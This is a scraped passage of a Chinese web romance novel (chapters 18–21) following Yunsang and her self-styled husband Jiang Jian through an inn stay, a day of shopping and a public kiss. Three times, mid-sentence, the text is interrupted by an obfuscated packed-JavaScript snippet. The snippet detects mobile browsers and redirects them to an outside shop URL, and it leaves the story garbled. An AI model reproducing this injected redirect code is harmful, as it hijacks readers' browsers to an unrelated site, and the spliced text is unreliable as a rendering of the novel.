本想去瞧瞧那一看便是受了刺激的娘子,然想起云桑跑走前骂自己的一句,他纳闷的同时还是老老实实将里衣捡起来麻利套上了。 这样便是不要脸吗? 可他以往都是这样的,洗完了便只身出来,如今不过是多了个娘子。 娘子又不是外人,怎么就不能看了? 压下身下莫名忽起的热胀,江见踮着脚来到了床前,看着鼓起一团的被子,伸手轻拍了拍。 还没说话,江见就看见那被子抖了抖,跟个球似的往里挪了挪,十分有趣。 “娘子是不是觉得我身上太多疤痕,觉得害怕?” 想来想去,江见觉得这个最有可能了。 姑娘家大多胆子小,娘子看着更是如此,也许是自己吓到了她。 18. 第 18 章 正缩在被子里羞愤欲死的云桑听了这话,反而静了下来,暂时抛却了羞恼,生出了别样的情绪。 “不是那样。” 没有钻出被子,云桑闷闷的否认声从里面传出,听得江见眸光微动,眼角眉梢染上了些笑意。 方才匆匆一瞥,云桑自然是瞧见了他身上的疤痕的,也不知是什么时候伤的,总归是有些时候了,但尽管如此,那些伤痕看上去还是无比狰狞,可想而知当初这些伤有多重。 江见不过一个十几岁的少年郎,寻常人家的孩子在这个时候正是打马过长街游乐的时候,他却已经活得这样艰辛了。 云桑忽地对江见宽容了许多,也担待了许多。 他这样自小在山中长大,又活在腥风血雨中的人,不通世俗规矩也不是不能理解。 可转念一想起方才对方孟浪又荒唐的行径,云桑还是无法当什么事都没发生过。 “那是为何?” 云桑在被子里感受到床榻轻响,隔着被子贴上来的温热身躯,还有江见打破砂锅问到底的追问。 这人是不知道什么叫含蓄的,就算说了不能在她面前袒胸露乳他怕是也有话来堵她。 比如“我们是夫妻,有什么不可以的?”诸如此类的话。 云桑决定另辟蹊径,寻了个旁的说法,虽然这个说法多少也有些难以启齿。 在被子里捂久了有些热,云桑也有些憋闷,但又怕江见还是没羞没臊地赤着身子过来,那她要是露头岂不是又要瞎眼一次。 因而云桑是小心翼翼地先掀起了被角,透过缝隙先行看了一眼。 见到江见覆着里衣的手臂,云桑没了忧惧,将脑袋露了出来。 还没说话,目光落在衣着完备的江见身上,云桑又不受控制地想起先前他未着寸缕的模样。 腾的一下,云桑浑身再度烧了起来,两颊也变得绯红艳丽。 云桑恨不得将那部分脑子挖出来,教自己再不记得那一幕! “你身上有可怕的东西,我瞧了害怕,所以你以后能不能不要脱光。” 天知道云桑是如何说出这句话的,只这短短一句话,她心跳急促,甚至都不敢抬眼看对方。 虽然这话让她很羞耻,但她也没说错话,分明就很可怕,还会乱动。 听了这番含糊的话,江见却是瞬间明白了过来,目光下意识往自己腿间看了一眼,眉头轻挑。 “原是这样。” 江见先是自顾自嘀咕了一声,又忽地伸头过去,好奇地凑到了云桑跟前道:“真的有那么可怕吗?” 听江见问出这等荒唐话,云桑甚至都觉得他是个傻子,长叹了一口气,一时噎住了。 “可怕,非常可怕,我看了会做噩梦的那种。” 避开来自对方温热的吐息,云桑抹开脸,故作冷酷道。 她得让江见明白事情得严重性才行,若不然他哪天又浮浪起来,再在她跟前脱个精光,她有几张脸够羞的。 “好吧,我记得了。” 颇有些委屈地妥协了,江见不太能理解他娘子的心思。 哪里可怕了,他天天看从未觉得可怕过,谁会觉得自己的身体可怕? 然看娘子那激烈的反应骗不得人,他便顺着她的意思了。 这样的话,以后出行在外于野外水里洗澡也不能被娘子瞧见了,不然自己这东西怕是又要将人吓着。 不过今日自己这玩意有些怪,寻常都是晨间有的反应先前在娘子面前突然就来了,可将他难受了好一会。 这一桩桩一件件都让他费解,干脆不去想了,他和娘子还未用饭呢。 也恰好,这时外面传来了敲门声,是伙计将饭菜送上来了。 云桑一听,饥饿感瞬间代替了其他情绪,人立即从被子里钻出来了,眼眸晶亮地看着门口。 “来得正好,娘子稍待。” 江见翻下床,云桑也兴冲冲跟了过去。 云来客栈的伙食不差,但云桑吃着总觉得江见那只烤兔更甚一筹,酸甜的果浆裹在被烤得发酥的表皮上,一口下去唇齿生香,云桑现在犹然记得那种别致的味道。 为了少看江见,不令自己想起那活色生香的一幕,云桑埋头苦吃着。 奈何江见不住地给她夹菜,尤其捡着荤菜往她碗里放,将她的碗垒出了尖尖。 云桑憋不住了,用筷子挡住了江见夹过来的一块红烧肉。 “太多了,已经够吃了,你自己吃吧。” 说着,云桑将拿筷子红烧肉推到了他碗里,还殷勤地给他夹了几筷子。 显然,在这方面贫瘠,没有得到过细腻呵护的江见瞬间就陷进去了,看着云桑的双眼几欲放光。 也不再给云桑堆菜了,自个在那笑得灿烂,大口吃着饭。 江见虽比她饭量大,但胜在吃得快,云桑还吃着,他便解决了自己的,连带着还拄着脑袋看了云桑一会,被云桑委婉驱赶才起身去了床边。 江见的目光落在了床上仅有的一条被子上,只思忖了几息,便出门了。 “娘子慢慢吃,我去下面取条被子。” 正喝着最后一碗甜羹,云桑目送着他风风火火离去了。 和上次一样,江见坚持要一人一条。 按理来说,两人行走在外一惯是夫妻身份,且在做夫妻这上,江见看起来比她心诚的多,对她也颇为喜欢,既用了一间房一张床,何必再分两条被子? 虽然云桑也不是很想和江见挤一个被窝,对于他的行为也颇为认同,但心底偶尔也会冒出疑虑。 大概是江见这人也不喜欢和人一个被窝吧。 云桑也懒得去问,怕让江见误以为她想同他一个被窝,再顺着她就遭了。 用完饭,江见抱着一条被子回来了,带回来的伙计也将残羹收拾了,云桑拖着江见又洁了一遍牙才上床安睡。 仍是江见睡外侧,云桑裹着被子靠着墙,疲乏的身体得到了解放。 终于可以放松且舒坦地睡一觉了。 在被子里咕蛹了一会,寻了个舒服的姿势,云桑刚闭上眼,就被江见连人带被抱进了怀里,云桑觉得自己仿佛变成了一个婴孩。 江见手长脚长,毫不费劲地将自己这个裹成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196236|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚕蛹的人扎扎实实地搂紧怀里,若不是隔着一层被子,云桑怕是要和他亲密无间一番。 都这样了,为何不那样呢? 被牢牢抱在怀中的云桑又生出了些疑惑,明明都愿意贴得这样紧了,还隔着那么一层做什么,不如拿掉自己贴过来算了。 心里嘀咕完,云桑也被自己大胆奔放的想法弄得有些不好意思,但还是没压下她心中的好奇。 安静了几息,就在江见又要将脸贴过来蹭他的时候,云桑鬼使神差开口道:“不若我们一条被子睡?” 话一出口云桑便悔了,恨不得打自己嘴,但为时已晚,她只能偷摸去瞄江见的神情。 出乎意料的,江见没有像往常她提要求那样顺从她,但也明显出现了挣扎的神色,直到最后又一脸严肃地回拒了。 “不成,还是分开好,娘子别急,我们迟早睡一条被子。” 像是忍受了巨大的诱惑,然后靠着自己强悍的定力拒绝,此刻的江见看起来很是坚毅刚直。 云桑心道果然被误会了,再不敢问了,将眼一闭睡下了。 这一夜云桑睡得很好,还做了个温暖的美梦。 梦里,她还是个稚童,个子还没有桌子高,本在院子里和丫鬟们玩,忽地有一人回来,他身着绯袍,气度清贵。 云桑瞧见了那人身影,立即开心地唤着人过去了。 “爹爹回来了!” 她扑进了来人怀里,那人也温柔地抱起了她,云桑看不清“爹爹”的脸,只知道他的神情定是极其温柔疼惜的。 “囡囡今日在家开心吗?” “开心!” 云桑听到自己脆生生的应了一声,话语中尽是对来人的依赖和欢喜。 “爹爹”抱着她在庭院里转了几圈,还拿出今日在外面买的小玩意给她,是一只漂亮的红玉九连环,逗得她咯咯轻笑,亲了亲“爹爹”的脸,爱不释手地把玩着手里的九连环。 庭院中一片欢声笑语,梦外的云桑都不禁勾起了笑。 许是这几日累着了,云桑放松心神后睡了个绵长的觉,醒来时外面已是天光大亮,热意也随着日头上升弥漫开来。 偏头去看,身侧已经空荡荡的,不知何时起的。 云桑伸手摸了摸那半边褥子,察觉到早已凉透气了,怕是出去好一会了。 大清早的他又跑哪里野去了? 趁着四下无人,云桑伸了个放肆的懒腰,神情懒洋洋地趿着木屐起来了。 屋内有昨夜伙计便备好的清水,虽然不够热,但如今也不是秋冬,掬一把凉水扑在脸上提神的紧。 惬意地进行了一场洗漱,云桑等回了江见。 只见他拎着大提小提的东西回来,脸色红润鲜活。 “你这是去做什么了?” 仍旧是一个长长的斜麻花辫,云桑除了这个不会别的了。 江见将手里的东西一股脑全放到桌子上,将云桑拉过来坐下,兴冲冲道:“晨起练气时,听掌柜的说有几家手艺好的早食铺子,我想着反正也闲着,便去买些回来,肯定比客栈的好吃,娘子快试试!” 19. 第 19 章 云桑一边惊讶于对方旺盛的精力,一边也好奇着他买回来了什么。 “瞧你现在才回来,这些铺子定然很远吧?” 油纸包打开,第一个映入眼帘的早食是皮薄馅大的肉包子,光是闻着便知其应当十分美味。 江见摇了摇头,惆怅道:“其实也不远,就四条街,只是大白天的在那么多人面前飞来飞去太过引人注目,我只能走过去了,便耽误了这么些功夫,不过这些吃食都被我捂着没凉,我们一块吃。” 说着,江见也跟着一起拆,很快,一桌子都被琳琅满目的吃食摆满了,如江见说得那样,这些吃食被他照看得很好,都还散发着热气。 不过他买的吃食着实多了些,除却云桑一开始打开的肉包子,还有汤包,胡饼,巨胜奴,鸡丝面,馄饨…… 甚至还拎回来两盅桂花豆酪,揭开盖子还散发出温热的桂香。 云桑实在是太佩服江见了。 刚想说他买这么多回来吃得完吗,忽地想起江见那如牛一般四个胃的肚子,云桑觉得不必再问。 “这样麻烦的事,日后还是别做了,客栈里的饭菜也挺不错的。” 虽然不是她开口去命令,但江见总归是为着她才去买这些琳琅麻琳琅满目的早食,她还是会过意不去的。 话才说完,江见就朝云桑嘴里塞了一个汤包,云桑再没心思想别的说别的了,忙着跟这个突如其来的汤包做斗争。 江见也给自己嘴里塞了一个,囫囵吃下后应答道:“不麻烦啊,我本来就很闲,而且做这些我很开心,娘子别管,吃就是。” 江见这副油盐不进的固执模样,云桑也不费劲了。 算了,他乐意便随他了,他开心就好。 如江见说得那样,这些早食的味道很是让云桑惊艳,也正因如此她贪多了些,一大早便吃得肚子圆滚滚的。 “江见,我有些撑,我们去消消食吧。” 且来了城中,怎能不出去走走逛逛,一直缩在客栈里算怎么回事? “好啊,正巧我也要出去把我的报酬拿到钱庄兑换成银钱,走~” 少年眉眼快活,说话间便拿起了那个沉甸甸的包袱,将随身的佩剑和骨笛一些七七八八的东西挂在腰间蹀躞带上,熟稔地牵起云桑出门去了。 云桑也日渐接受了他这样的亲昵,不似一开始那般动不动便脸红心跳了。 下楼的时候,云桑想起昨夜的闹剧,依稀记得那个被江见收拾的纨绔公子是个官宦子弟,蔡郡郡丞家的,一时间被挑起了忧愁,晃了晃江见牵着她的那只手,凑过去小声道:“你昨夜教训的那个纨绔公子是个官宦子弟,他会不会过来寻我们的麻烦?” 虽然她知道江见能以一挡百,但若是真与这蔡郡郡丞家起了龃龉也是一桩缠人的麻烦,云桑都怕两人被留在这蔡郡。 不同于云桑的担忧,江见听了这话并没有泛起愁绪,只是轻哼了一声,漫不经心道:“他寻不来,甚至想不起自己是被谁揍的,更不会记得自己来过这云来客栈,娘子尽管将心放回肚子里。” 虽然不知道江见用了什么稀奇古怪的手段,但在云桑眼中他本就是个有诸多诡异招数的人,听他这样保证,云桑心中大安。 江见总有一种使人信服的奇异能力。 这个时辰,大街上正是热闹的时候,两人走在熙熙攘攘人群中,不时引来路人的侧目打量。 过于美丽的东西出现在大庭广众之下,总是会引来各种各样的视线,在云桑察觉到有个年轻公子瞧她瞧得忘了走路时,她余光瞥见江见大剌剌地瞪了对方一眼,十分的凶狠,吓得那年轻公子立即缩了缩脖子不敢再看。 云桑失语而笑,又见一妙龄少女眼眸闪闪地打量着身畔的江见,她不是江见那等霸道人,只当没看见,正要偏过头去笑,忽被人用手将脸别了回来。 这人正是江见,此刻他脸色臭臭的,故作严肃地看着她。 “怎么了?” 不知是哪里让这个煞神不快活了,云桑眨巴了下眼睛,努力想获取他的情绪。 “刚刚有旁的姑娘瞧我,娘子怎么不管?” 这话质问的稀奇,云桑由于惊诧瞪圆了眼眸,当即就道:“我怎么管?” 眼睛长在他人身上,云桑又决定不了。 江见见她这副无动于衷的呆样,更来气了,恨铁不成钢道:“自然是像我一样管。” “像你一样瞪那姑娘?” 云桑更加匪夷所思了,她哪里是那样的性子,也做不出这样幼稚的行径。 江见见她懂得了自己的意思,高兴地轻嗯一声,但很快就迎来了云桑的拒绝。 “不过是瞧了你一眼罢了,有什么好计较的,我、我学不来你那般的。” 最后一句是最关键的,如江见那般恶狠狠地眼神,她是怎么也学不会的。 少女温良的像一只没脾气的羔羊,看得江见无力极了。 “罢了,既然你是个没用的,那便我替你将事情办了吧。” 不开心地抿了抿唇,只见江见长叹了一口气,说了这么含含糊糊的一句。 正在云桑疑惑他要怎么将事情替她给办了时,就见江见如法炮制,将他那慑人又凶悍的眸光直直刺向对着他不住打量的姑娘身上。 效果立竿见影,那姑娘哪里见过这样不善又骇人的目光,脸色一变急急忙忙回避了,哪里敢再看,只心有余悸地拍着胸口,神情幽怨地盯着那美少年远去的背影。 竟有如此不解风情的木头,当真是白费了她一腔喜爱,呸! 目睹了全过程的云桑此刻已然目瞪口呆了,她一言难尽地看着江见,一时间只觉得这人过于乖张奇特了些。 连这事也能代替的吗? 云桑收回一开始夸赞他脾气好的话,这人简直怪极了。 “人家姑娘这是青睐你的意思,何必这样无情。” 难不成江见以前遇到姑娘家的示好都是这般模样? 怨不得等到了她这个落难的,云桑胡思乱想着。 这时,江见看向她,用着一种诧异至极的神情道:“我要旁的姑娘青睐作甚,娘子青睐我不就行了。” 话说得端正严肃,甚至挑不出一丝错,云桑喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200466|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间梗住了。 人一多,事也多,人来人往的大街上,总少不了浑水摸鱼的扒手,意图在纷乱的人群中趁机摸走别人辛辛苦苦赚到的银钱。 大约是江见腰间挂得零零碎碎的东西太过惹眼,一路上招惹了不少扒手过来。 不过他们找错了人,踢到了江见这个铁板。 隐约间,云桑好几次看见有人不知从哪油滑地伸出手就要碰到江见的钱袋子,但都一片血红地缩了回去,伴随着极力压抑的痛呼声。 想来江见以前常遇到这种事,才能如此娴熟。 两人一路畅行到了永福当铺,据说是蔡郡最大的当铺,托着江见送来不少珍宝的福,云桑在一旁坐下歇息,用着当铺伙计送过来的茶点,等江见再回来时,沉甸甸的包袱已经被一个半大的锦所替代。 那么一包袱金银珠宝,就换了这么一个小小的锦袋? 江见不会是被当铺给坑了吧? 云桑迎上去,心中纠结江见是否真的单纯好欺。 “娘子久等了,给。” 云桑憋着的话还没说出口,江见迎面就将那只锦袋抛给了她。 猝不及防飞来个东西,云桑手忙脚乱地将其接住,有些傻愣愣道:“给我作甚?” 大约是云桑从未将自己切身实地地置身于江见娘子的身份上,因而她接钱接得云里雾里。 江见也不卖关子,直截了当道:“自是给娘子管钱,难道夫妻间不是这般吗?” 说着话,江见攥着她的手往外走,笑盈盈地看不出一点被坑的模样。 云桑托着这只虽然鼓鼓囊囊但不算沉重的锦袋,好奇地打开,直到看见里面一沓银票,还有一堆七零八落躺在底部,大大小小的金珠子,她再也不疑惑了。 手里就好像托着什么烫手山芋,云桑没地方放,又生怕自己不小心将其弄丢了,毕竟自己可挡不住那些刁钻的扒手。 于是乎,她将锦袋又推了回去道:“还是你收着吧,我身上没地方放,若是丢了便不好了。” 先前在桃花山上寻回来的几支珠钗迄今为止都是被小心看顾在衣袖中的,哪里还有地方收留这鼓鼓囊囊的锦袋。 这话提醒了江见,他扫了一眼云桑干净利落的衣裙,拍了下脑袋懊恼道:“也是,我怎么将这事给忘了。” “有了!” 懊恼完,江见很快来了点子,雀跃地拉着云桑走了。 结果就是,江见将她领到了一个绸缎铺子里,让里头的绣娘现场给她缝制出一个斜挎着的布袋。 布料还是江见随手一指的浮光锦。 鹅黄色带着细闪粼光的一匹贵重料子,只为了缝制一个布袋子。 “这料子闪闪的,好看,就要这匹。” 江见明显是不认识这匹料子的,只单纯看美观与否,便毫不犹豫拍板定下了,云桑都来不及说什么。 待她的斜挎布袋子被绣娘飞速做出来,江见犹不满足,又现场买了一套云绫锦制成的齐胸裙,粉嫩如新荷,用金银线绣着缠枝莲,裙摆还缀着粉白的珍珠,日头一照,金银绣成的莲花便璀璨生辉。 20. 第 20 章 凭心而论,云桑很难不喜欢这身好看的裙子,但转念一想这一身定然价值不菲,她总是没有归属感的心又开始不安了。 就算是她如今应下了与江见做夫妻的承诺,但还是没办法毫无顾忌地消耗他的钱财,尤其是这般明摆着往她身上花钱的行为,云桑总会有种强烈的心虚感。 她总是会左右摇摆,有时安慰自己,这是她应下江见应得的东西,但有时又觉得心有抗拒,自己不该享受江见对她的好。 或许,她的心从未在江见那安定过。 推辞的话还没说出口,人就被江见推到了换衣室中,瞅着少年那双满含期待的晶亮眼眸,云桑也没法扭捏了。 最终,云桑穿着江见给她新买的漂亮新裙子还有那个别致的小布袋出了绸缎铺子,有些懵又有些开心。 她从心底还是极喜欢这身衣裙和斜挎小布袋的,就是浮光锦这样流光溢彩的料子缝制而成的东西,尤其吸引人瞩目。 不等她想七想八的,江见解开布袋的扣带,将刚刚那个云桑拿不下的锦袋安安稳稳放了进去,又从自己蹀躞带上解下一只锦囊,递给她道:“里面几个尤其好看的簪钗我没当,都留着给娘子戴着玩,还有娘子自己寻回来的那些个,一起收起来吧。” 到了这个地步,云桑拒绝自是没什么意义了,面色平静地将袖中一直小心妥帖放着的簪钗拿出来一并放到了她新得的随身小布袋中。 确实,有了这个小布袋,她方便了许多,当真是一件合心意的物件。 路过一个卖绢花的摊子,江见瞥了眼少女简洁利落的发辫,又起了在山里的心思,在摊子上买了一朵芍药绢花,笑眯眯地簪在云桑鬓边道:“虽然绢花不像真花那么香,但它不会凋谢,也挺好。” 云桑摸了摸鬓边的妍丽绢花,心中赞了一声他的眼光倒是不错,因为她也看中了这朵。 二人手牵手顺着人流往前走,云桑只当是散步消食,奈何江见这人总喜欢买些华而不实的小东西,总觉得她会喜欢。 比如说小鸟糖人,他买了一对,自己正吃得津津有味。 “娘子快吃啊,可甜了!” 江见看上去极喜欢吃甜,一个普普通通的糖人吃得眉眼带笑,面皮都舒展了。 云桑被他诱惑到了,跟着轻抿了一口小鸟糖人,蜜意顿时在心底化开,甜丝丝地让人心情更明朗了些。 就在路过街角的时候,云桑看见了一桩奇事。 一户人家的家仆正在挂白灯笼,面色都凝重肃穆,唉声叹气。 生死伦常,这本也不是什么泼天的大事,但奇怪的点就在于,他们是将红灯笼取下来,再将白灯笼挂上去的。 不言而喻,这是喜事之后接上来的丧事,十分不吉利。 原本还不清楚缘由的云桑只在附近听了一会,便知晓了个大概。 “哎呦,这都是今年第二起了吧,人昨儿刚嫁进来夫妻两便齐齐死去了,真是诡异!” “不知是做了什么孽,才能遭此飞来横祸,喜事变丧事,白发人送黑发人呦~” “可怜哦~” 纷纷杂杂的话语声涌入云桑的耳朵,她知道了这家的不幸,露出同情的神色。 原是喜丧这种人间大不幸,前脚还沉浸在迎新妇的喜庆快乐中,转眼送走了一对新人,估计两家人都要哭瞎了双眼。 路人的那句昨儿刚嫁进来让云桑想起了刚入城时遇到的那支迎亲队伍,即使因为天色昏暗压根没看清新郎官的长相,但其快活得意的情绪是遮掩不去的。 没想到昨夜还风光娶妻的人便同他的结发妻子一同殒命了。 “怎会有这样的事,实在可怜。” 看着这户人家的喜丧,云桑也跟着叹了一句。 “娘子别耗神了,这世上可怜的事和人多着呢,娘子可怜不过来的。” “都跟我们没关系,我们继续逛吧娘子~” 依旧明朗的少年打断云桑的悲天悯人,扬着欢快的笑,出口的话却如风过山野一般冷冽无情。 行走江湖多年,江见不知见了多少生离死别,苦难疾厄,他若是回回都要跟着难受早碎了一颗心。 再者,根据他往常的经验来看,这样夫妻双双在新婚夜猝死的诡异事,多半是有人蓄意谋害,是一桩缠人的事,江见没事可不想沾上,自然也不能教娘子耗神。 云桑看着江见无动于衷的眉眼,虽觉得他心比常人硬了些但话没说错,这事跟他们没关系,她叹完走了便是。 云桑二人前脚刚离开,这户赵姓富户家门口便涌来了查案的官兵,试图勘破这离奇发生、且死法相同的第二桩诡案。 江见算是个嘴挑的,只要有更好吃的,他不会凑合自己去吃次一等的,既来了外面,午饭自然也是从本地人的口中问出了一个极好吃的酒楼,,风风火火就过去了。 不知是不是他竭力投喂的缘故,跟着江见在一块这几顿,云桑饭量好像确实大了些,每次都吃得肚子圆圆,浑身懒洋洋的。 好在如今还未入夏,日头不算晒,可以沐浴着阳光再度消消食。 她下次可不能吃这么多了,但这家名叫明月楼的饭菜着实是不错,尤其是饭桌上那道荔枝肉,使得她忍不住多贪了几口,江见瞧她那么爱吃,走前还特意打包了一份外食带回去了。 见此,云桑怪不好意思的。 明月楼以屏风隔开座位,但屏风也是细绢布制成的,薄薄的一层,映照得里头的景象隐隐绰绰。 用饭时云桑只偶尔瞥过一两眼,除了隔壁不时传来的轻喃细语还有纠缠晃动的身影,再无其他了。 大概是一对有情人,云桑心想。 起身离开时,两人正好经过了隔壁,甚至没有瞥去目光,但余光还是告诉了云桑那是一副什么情形。 那是一对正紧紧抱在一块亲密互吻的年轻男女! 紧贴着的身躯,死死缠绕的双臂,还有那炙热生猛的亲吻,简直是在互啃! 意识到这对男女在做什么,云桑脑海中炸开了花,粉白的面颊倏然间红透了,拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14215028|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江见就要离开。 她希望自己动作够快,让江见来不及瞧见这一幕。 但很可惜,连云桑都能注意到的东西,江见又怎会注意不到? 因着好奇,心中对眼前这对男女做的事产生了探索的兴趣,江见没打算立即离去,反而站定了。 这也就导致云桑的拉扯不仅没有起作用,反而因为江见的停驻太过坚实也停在了原地。 两个明晃晃的大活人就站在旁边,正在行亲密之事的一对男女瞬间就被吓得弹开了,如一脸惊惶地看着云桑二人,姑娘家脸皮薄些,当即就捶打了公子几下,面红耳赤地嗔怪起那年轻公子道:“你看,我就说你你别在外头乱来,被人瞧见了吧,羞死人了!” 说完,像个鹌鹑一样将脑袋扎进了公子怀中,再不出来了。 被捶打泄愤的公子也同样面红耳赤,看着白袍少年审视打量的目光,像是为了给自己正名一般,忙不迭抱着怀里的姑娘道:“我们是夫妻!” 由于情绪太过激昂,公子那一声没控制住大小,一嗓子吼出去,周围的客人全看了过来,目露疑惑。 公子的脸瞬间也成了猴屁股,恼羞成怒地看着搅事的云桑二人。 云桑一看不好,忙一边赔礼一边抱着江见的腰往门口拖。 “对不住,对不住,我们不是故意的,刚刚是我夫君脚麻了,我们什么都没看见,这就走,这就走~” 碰着这样的事,别说受害人羞恼,云桑面皮也是滚烫的,此时此刻,她心中也埋怨起了江见来。 这人怎么回事,忽然间就成木头了,拉都拉不走,活丢人了一回。 好在江见没有一直是木头,被她抱着腰终于纡尊降贵地随她离开了,临走前还贴心地跟那对夫妻也满含诚意地赔了个不是才走。 扯着江见风风火火跑出明月楼,让外头的风将自己滚烫的面颊吹回原样,云桑瞥了一眼还在沉思中的江见,没忍住道:“你方才发什么愣,人家夫妻在做那事,你顿足看什么,给人家看得一阵惊吓不说,我们也丢脸,哎……” 说到最后,云桑都不知说些什么了,唯余叹气。 却不想,这厢她说完了,开始轮到江见纠缠不休了。 “他们在做什么事?” 带着一种稚子般的天真无邪,江见一本正经地向云桑问出了这个荒谬的问题。 云桑猛吸了一口气,甚至觉得今日分明不毒的日头晒得她头开始发晕。 江见是脑子坏掉了吗?如何能问出这样愚蠢的问题,这事不是显而易见,还需要问? 一时间,云桑看着江见的目光有些一言难尽,像是看什么天外来物一般。 “你怎么能问出这样的话,他们在做什么你看不出来吗?” 江见诧异地歪了歪头,看着少女由于羞愤而红艳艳的脸,十分乖巧地答道:“在互相啃对方的嘴,这还是我第一次瞧见别人这般,所以很好奇,娘子不能告诉我吗?” 云桑被江见的无知打败了,但同时又有那么一丝理解。 21. 第 21 章 他大概是没同姑娘接触过,且这样的事情,寻常人定是偷偷藏起来做的,遇上今日这对都算是巧合,江见没见过也是说得通的。 在云桑尘封住的记忆里,似乎也曾有一段时间自己是懵懂而无知的,只不过江见这般如此年岁还一窍不通的,实在太过罕见。 “你真的从未见过?” 云桑不死心又问了一遍,得到的还是同样懵懂无知的回应,她只能涨红着脸飞速道:“……他们那是在亲吻。” “好了,我们该走了。” 慌里慌神地解释完,云桑抬脚就要走,生怕江见向她问更多。 谁知步子还没迈出去,手腕就被他攥住了,又拉了回来。 “做、做什么?” 云桑被迫回头,看着少年一瞬间黝黑深邃的双眸,磕磕绊绊道。 她有种矛盾感,好像知道江见想做什么,又好像不知道,这种纠结感让她惊惶不安。 但很快,她的预感便被证实了。 只听江见兀自轻飘飘地嘀咕了一句,声音却是不小,像是在对自己说,又像是在同她说。 “我们也是夫妻……” 云桑刚想下意识将“是夫妻怎么了”这话接出来,就感受到眼前一暗,明亮的日光被尽数挡下,温热又熟悉的气息拂面而来。 她尝到了一个温暖又柔软的东西,那个东西贴上来后,甚至还在好奇地磨蹭,试图吮吸她的唇。 四目以一种极近的距离相望着,只不过一个满是震惊与错愕,一个盛满了勃勃的探索与好奇。 江见的吻毫无章法,就如同舔.舐蜜糖的小兽,胡乱地轻啃着,厮磨着,像是寻到了一个极有意思的玩具。 只是几息间,云桑便感受到了唇上麻痒,余光中暖阳倾泻,让她想起这正是青天白日的大街上。 云桑晃然回神,惊慌失措地将人推开了。 她 看不见自己是何种模样,但能看见江见,他那张本就殷红饱满的唇愈发红艳润泽了。 至于是何原因,刚刚才领教过一番的云桑自不用深想。 连江见都是如此模样,那被吮吸厮磨的她必然比他更不堪入目,云桑面颊瞬间如火烧云一般,羞愤之下眼泪都要掉出来了。 视线中,周围的路人已有不少在看热闹了,更有大胆些的妇人执扇偷笑,眼中满满的揶揄。 “你太过分了!” 本想骂他几句不知羞耻,荒唐无礼这样的话,但转念一想这些骂了也是白骂,云桑气得都想跺脚,最后只憋屈地留下了一句这个,扭头就要逃离这个让她没脸的地方。 小碎步踏得飞快,恨不得像江见一样飞走。 身后很快传来了比她更急促的脚步声,不过几个呼吸间,一阵风从身后袭来,云桑陷入了一个坚实滚热的怀抱。 江见追上了她,怕她继续跑,将她揽在了怀里禁锢着。 “娘子怎么生气了,快别跑了,有什么不高兴说出来嘛,我给你赔不是~” 江见也是个有眼力见的,见云桑恼了,语气都软得不行,十足哄人的语气。 不得不说,女子在生气时瞧到江见这样的态度,无疑是好受许多的。 云桑更不是什么特别爱计较的暴躁姑娘,当下心里舒坦了许多,但想到方才江见让她颜面扫地的事情,她还是没完全消气。 “你放开我!” 小身板不服输地在强大的桎梏中扭动着,云桑面上犹带着先前的愤慨,江见一边在心里偷笑一边将人松开。 获得自由,云桑与他拉开距离,绷着脸道:“你知不知道你刚才的行为有多荒唐?” 云桑一想起方才周围路人的目光,她便觉无地自容,看着江见的目光更来气了。 江见不理解,更不接受,殷红的唇微微抿起,叭叭道:“不是夫妻就可以吗,刚才明月楼那对都可以,为何我们不可以?” 见他还有理了,云桑气得脸红,凶巴巴反驳道:“夫妻是可以没错,但不能青天白日的让旁人看见,你没瞧见方才的姑娘都羞得钻到她夫君怀里了吗?” 太傻了,太傻了! 云桑在心里感叹着,一时间分不清江见这人到底是聪明还是傻了。 云桑以为自己说得够清楚了,料想江见应该知晓了她的意思,没承想等来的是这一句。 “娘子也可以钻到我怀里。” 云桑突然卸了浑身的力气,再不想跟江见争辩了。 他就是一个怪人,一个脑筋稀奇古怪的怪人。 云桑失去了所有的力气和手段,也不指责他了,扭头就沿着来时的路要回云来客栈。 江见看着气焰瞬间瘪下来的少女,随着她走了几步,知道云桑怕是没有被他的话哄好,小心翼翼地探出手去握云桑。 因带着些气,云桑回避着他,不让他握,但终究逃不开,还是被江见一掌攥在了手心,死活不愿松开。 “不就是不能在人前亲亲吗,我记住了,娘子何故这样生气,姑娘家生气多了可是会变老的,快笑一笑~” 江见那股明媚的情绪实在太过感染人,又见他一副知错能改的乖巧姿态,云桑挣扎的力道轻了许多,心里头也没那么堵了。 她真好哄,云桑不禁想。 “记住了就好。” 云桑微不可察地掀起了唇角,幽幽的话语中带着些小小的得意。 江见一直在观察云桑的反应,瞥到人终于展露了一丝笑颜,江见又拉着她的手荡起了秋千。 云桑虽瞪了他一眼,但终是没说什么。 